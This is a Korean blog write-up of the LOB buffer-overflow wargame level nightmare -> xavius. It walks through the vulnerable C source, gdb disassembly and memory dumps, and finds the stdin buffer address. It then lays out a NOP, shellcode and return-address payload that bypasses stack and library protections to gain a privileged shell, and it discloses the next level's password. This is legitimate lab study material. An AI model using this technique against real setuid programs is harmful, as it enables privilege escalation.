ipwn
[LOB(Lord Of Buffer overflow)] nightmare -> xavius 본문
이번 단계는 마지막 전의 단계 nightmare단계이다.
바로 복사본을 만들고 파일들을 살펴보겠다.
1 2 3 4 5 | [nightmare@localhost nightmare]$ ls -l total 36 -rwsr-sr-x 1 nightmar nightmar 13398 Jan 18 07:49 xaviu1 -rwsr-sr-x 1 xavius xavius 13398 Mar 30 2010 xavius -rw-r--r-- 1 root root 1019 Mar 30 2010 xavius.c | cs |
생각보다 colorscripter이 훨씬 편한 것 같다. bash도 지원해줄줄은 몰랐다.
아무튼 xavius 파일과 xavius.c 코드가 있다.
코드를 읽어보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | /* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> main() { char buffer[40]; char *ret_addr; // overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer); if(*(buffer+47) == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(*(buffer+47) == '\x08') { printf("binary image retbayed you, too!!\n"); exit(0); } // check if the ret_addr is library function or not memcpy(&ret_addr, buffer+44, 4); while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function { if(*ret_addr == '\xc9'){ // leave if(*(ret_addr+1) == '\xc3'){ // ret printf("You cannot use library function!\n"); exit(0); } } ret_addr++; } // stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } | cs |
보아하니 우리가 예전에 사용했던 방법은 전부 막혀있다.
라이브러리, 스택, 공유라이브러리 등등 ... 막막해보인다.
모든 스택은 memset돼버렸고, 코드영역은 0x08을 막아버렸고, 라이브러리는 특이한 방법으로 막았다.
하지만 라이브러리를 막을 때는 그냥 0x40을 필터링해서 막으면 될텐데 왜 그러지 않았을까?
또 여기서 왜 갑자기 agrv가 아닌 stdin으로 입력을 받는것일까?
우리는 0x40을 막지 않은 것과 stdin으로 입력을 받는 것에 주의를 기울여야한다.
stdin은 표준 입력 스트림을 의미하는데, stdin에 입력을 받고 임시로 저장을 하는 부분이 있을 것이다.
스택은 전부 0으로 memset이 되더라도, 이 stdin의 부분은 0으로 memset이 되지 않을 것이다.
즉 stdin에 shellcode를 올려놓고 ret 부분을 stdin의 위치로 옮겨주어 shellcode를 띄워주면 될 것이다.
일단 stdin으로 입력을 받아 임시로 저장되는 곳의 주소를 찾아야 할 것이다.
gdb로 복사본을 디버깅해서 찾아보겠다.
먼저 디버깅을 할 때 A를 48개 넣어주고 임시 저장 버퍼의 주소를 찾아보겠다.
1 2 3 4 5 6 7 | [nightmare@localhost nightmare]$ python -c 'print "A"*48' > payload [nightmare@localhost nightmare]$ ls -l total 40 -rw-rw-r-- 1 nightmar nightmar 49 Jan 21 18:33 payload -rwsr-sr-x 1 nightmar nightmar 13398 Jan 18 07:49 xaviu1 -rwsr-sr-x 1 xavius xavius 13398 Mar 30 2010 xavius -rw-r--r-- 1 root root 1019 Mar 30 2010 xavius.c |
이렇게 payload라는 파일에 A값을 48개 넣어주었다.
이제 gdb로 xaviu1 파일을 디버깅 해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | [nightmare@localhost nightmare]$ gdb -q xaviu1 (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x8048714 <main>: push %ebp 0x8048715 <main+1>: mov %ebp,%esp 0x8048717 <main+3>: sub %esp,44 0x804871a <main+6>: mov %eax,%ds:0x8049a3c 0x804871f <main+11>: push %eax 0x8048720 <main+12>: push 0x100 0x8048725 <main+17>: lea %eax,[%ebp-40] 0x8048728 <main+20>: push %eax 0x8048729 <main+21>: call 0x8048408 <fgets> 0x804872e <main+26>: add %esp,12 0x8048731 <main+29>: lea %eax,[%ebp-40] 0x8048734 <main+32>: push %eax 0x8048735 <main+33>: push 0x80488bb 0x804873a <main+38>: call 0x8048438 <printf> 0x804873f <main+43>: add %esp,8 0x8048742 <main+46>: cmp BYTE PTR [%ebp+7],0xbf 0x8048746 <main+50>: jne 0x8048760 <main+76> 0x8048748 <main+52>: push 0x80488bf 0x804874d <main+57>: call 0x8048438 <printf> 0x8048752 <main+62>: add %esp,4 0x8048755 <main+65>: push 0 0x8048757 <main+67>: call 0x8048458 <exit> 0x804875c <main+72>: add %esp,4 0x804875f <main+75>: nop 0x8048760 <main+76>: cmp BYTE PTR [%ebp+7],0x8 0x8048764 <main+80>: jne 0x8048780 <main+108> 0x8048766 <main+82>: push 0x80488e0 0x804876b <main+87>: call 0x8048438 <printf> 0x8048770 <main+92>: add %esp,4 0x8048773 <main+95>: push 0 0x8048775 <main+97>: call 0x8048458 <exit> 0x804877a <main+102>: add %esp,4 0x804877d <main+105>: lea %esi,[%esi] 0x8048780 <main+108>: push 4 0x8048782 <main+110>: lea %eax,[%ebp-40] 0x8048785 <main+113>: lea %edx,[%eax+44] 0x8048788 <main+116>: push %edx 0x8048789 <main+117>: lea %eax,[%ebp-44] 0x804878c <main+120>: push %eax 0x804878d <main+121>: call 0x8048448 <memcpy> 0x8048792 <main+126>: add %esp,12 0x8048795 <main+129>: push 2 0x8048797 <main+131>: push 0x8048902 0x804879c <main+136>: mov %eax,DWORD PTR [%ebp-44] 0x804879f <main+139>: push %eax 0x80487a0 <main+140>: call 0x8048418 <memcmp> 0x80487a5 <main+145>: add %esp,12 0x80487a8 <main+148>: mov %eax,%eax 0x80487aa <main+150>: test %eax,%eax 0x80487ac <main+152>: jne 0x80487b0 <main+156> 0x80487ae <main+154>: jmp 0x80487e0 <main+204> 0x80487b0 <main+156>: mov %eax,DWORD PTR [%ebp-44] 0x80487b3 <main+159>: cmp BYTE PTR [%eax],0xc9 0x80487b6 <main+162>: jne 0x80487d8 <main+196> 0x80487b8 <main+164>: mov %eax,DWORD PTR [%ebp-44] 0x80487bb <main+167>: inc %eax 0x80487bc <main+168>: cmp BYTE PTR [%eax],0xc3 0x80487bf <main+171>: jne 0x80487d8 <main+196> 0x80487c1 <main+173>: push 0x8048920 0x80487c6 <main+178>: call 0x8048438 <printf> 0x80487cb <main+183>: add %esp,4 0x80487ce <main+186>: push 0 0x80487d0 <main+188>: call 0x8048458 <exit> 0x80487d5 <main+193>: add %esp,4 0x80487d8 <main+196>: inc DWORD PTR [%ebp-44] 0x80487db <main+199>: jmp 0x8048795 <main+129> 0x80487dd <main+201>: lea %esi,[%esi] 0x80487e0 <main+204>: push 44 0x80487e2 <main+206>: push 0 0x80487e4 <main+208>: lea %eax,[%ebp-40] 0x80487e7 <main+211>: push %eax 0x80487e8 <main+212>: call 0x8048468 <memset> 0x80487ed <main+217>: add %esp,12 0x80487f0 <main+220>: lea %eax,[%ebp-40] 0x80487f3 <main+223>: mov %edx,0xbfffffcf 0x80487f8 <main+228>: mov %ecx,%edx 0x80487fa <main+230>: sub %ecx,%eax 0x80487fc <main+232>: mov %eax,%ecx 0x80487fe <main+234>: push %eax 0x80487ff <main+235>: push 0 0x8048801 <main+237>: lea %eax,[%ebp-40] 0x8048804 <main+240>: lea %edx,[%eax+48] 0x8048807 <main+243>: push %edx 0x8048808 <main+244>: call 0x8048468 <memset> 0x804880d <main+249>: add %esp,12 0x8048810 <main+252>: push 0xb90 0x8048815 <main+257>: push 0 0x8048817 <main+259>: lea %eax,[%ebp-40] 0x804881a <main+262>: lea %edx,[%eax-3000] 0x8048820 <main+268>: push %edx 0x8048821 <main+269>: call 0x8048468 <memset> 0x8048826 <main+274>: add %esp,12 0x8048829 <main+277>: leave 0x804882a <main+278>: ret 0x804882b <main+279>: nop 0x804882c <main+280>: nop 0x804882d <main+281>: nop 0x804882e <main+282>: nop 0x804882f <main+283>: nop End of assembler dump. |
이것이 메인함수의 어셈블리 전문이다.
빨간색으로 칠해져 있는 줄을 보면 fgets의 인자로 stdin의 주소가 넘겨지는 것을 확인할 수 있다.
이제 fgets함수의 바로 밑 부분에 BreakPoint를 걸어주고 A를 48개 넘겨주겠다.
1 2 3 4 5 6 | (gdb) b*main+26 Breakpoint 1 at 0x804872e (gdb) r < payload Starting program: /home/nightmare/xaviu1 < payload Breakpoint 1, 0x804872e in main () |
성공적으로 값을 넘기고 breakpoint에서 멈췄다.
이제 stdin의 주소를 보도록 하겠다.
1 2 3 4 5 6 7 8 9 10 11 | (gdb) x/i 0x8049a3c 0x8049a3c <stdin@@GLIBC_2.0>: shr BYTE PTR [%eax+16],0x40 (gdb) 0x8049a40 <object.8>: add BYTE PTR [%eax],%al (gdb) 0x8049a42 <object.8+2>: add BYTE PTR [%eax],%al (gdb) x/4x 0x8049a3c 0x8049a3c <stdin@@GLIBC_2.0>: 0x401068c0 0x00000000 0x00000000 0x08049950 (gdb) 0x8049a4c <object.8+12>: 0x00000000 0x00000000 0x40108d40 0x00000000 (gdb) |
x/i로 봤을 때는 shr 어셈블리어가 나오기에 값을 봤더니 0x401068c0이라는 값이 나왔다.
저 주소를 한 번 살펴보도록 하겠다.
1 2 3 4 5 6 7 | (gdb) x/24x 0x401068c0 0x401068c0 <_IO_2_1_stdin_>: 0xfbad2088 0x40015031 0x40015031 0x40015000 0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000 0x40015000 0x40015000 0x40015000 0x401068e0 <_IO_2_1_stdin_+32>: 0x40016000 0x00000000 0x00000000 0x00000000 0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000 0x00000000 0x00000000 0x00000000 0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff 0x00000000 0x401068a0 0xffffffff 0x40106910 <_IO_2_1_stdin_+80>: 0xffffffff 0x00000000 0x00000000 0x00000000 |
0xfbad2088, 0x40015031, 0x40015000의 값이 보인다.
어떤 주소가 임시버퍼의 주소인지 모르겠으니 셋 다 살펴보도록 하겠다.
1 2 3 4 5 6 7 8 | (gdb) x/24x 0xfbad2088 0xfbad2088: Cannot access memory at address 0xfbad2088 (gdb) 0xfbad208c: Cannot access memory at address 0xfbad208c (gdb) 0xfbad2090: Cannot access memory at address 0xfbad2090 (gdb) 0xfbad2094: Cannot access memory at address 0xfbad2094 |
0xfbad2088에는 아무 값도 들어있지않다.
임시버퍼의 주소가 아닌 것 같다.
1 2 3 4 5 6 7 | (gdb) x/24x 0x40015031 0x40015031: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015041: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015051: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015061: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015071: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015081: 0x00000000 0x00000000 0x00000000 0x00000000 |
0x40015031의 주소를 살펴봤다.
0의 값으로 채워져있을 뿐 넣어줬던 A의 값은 어디에도 보이지 않는다.
마찬가지로 임시버퍼의 주소가 아닌 것 같다.
1 2 3 4 5 6 7 | (gdb) x/24x 0x40015000 0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015020: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015030: 0x0000000a 0x00000000 0x00000000 0x00000000 0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000 |
값이 모두 0x41 즉 A로 채워져있는 곳을 찾았다.
임시 버퍼의 주소는 0x40015000이다.
이제보니 0x40015031의 주소는 임시버퍼가 끝난 다음 주소를 가리키는 것 같다.
아무튼 임시 버퍼의 주소 부분이 0x40으로 시작하기 때문에 라이브러리를 막을 때 0x40을 막지 않았다는 것을 알 수 있다.
이제 우리가 넘겨줄 payload가 완벽해졌다.
코드를 보면 0x90이 2개 연속으로 이어져있을 때 while문을 탈출하므로 우리가 넘겨줄 payload는
nop(\x90)*2 + shellcode(34byte) + dummy*8 + 0x40015000
이 될 것이다.
한 번 shell이 가져와지는지 복사본에 값을 넘겨주겠다.
성공적으로 shell을 가져왔다.
이제 원본에도 payload를 넘겨주어서 권한이 상승한 shell을 가져오겠다.
shell을 가져왔다.
마지막단계인 xavius단계로 가는 password는 throw me away이다.
드디어 마지막 단계이다.
'Write up > LOB' 카테고리의 다른 글
[LOB(Lord Of Buffer overflow)] succubus -> nightmare (0) | 2018.01.21 |
---|---|
[LOB(Lord Of Buffer overflow)] zombie_assassin -> succubus (0) | 2018.01.21 |
[LOB(Lord Of Buffer overflow)] assassin -> zombie_assassin (0) | 2018.01.20 |
[LOB(Lord Of Buffer overflow)] giant -> assassin (0) | 2018.01.20 |
[LOB(Lord Of Buffer overflow)] bugbear -> giant (0) | 2018.01.19 |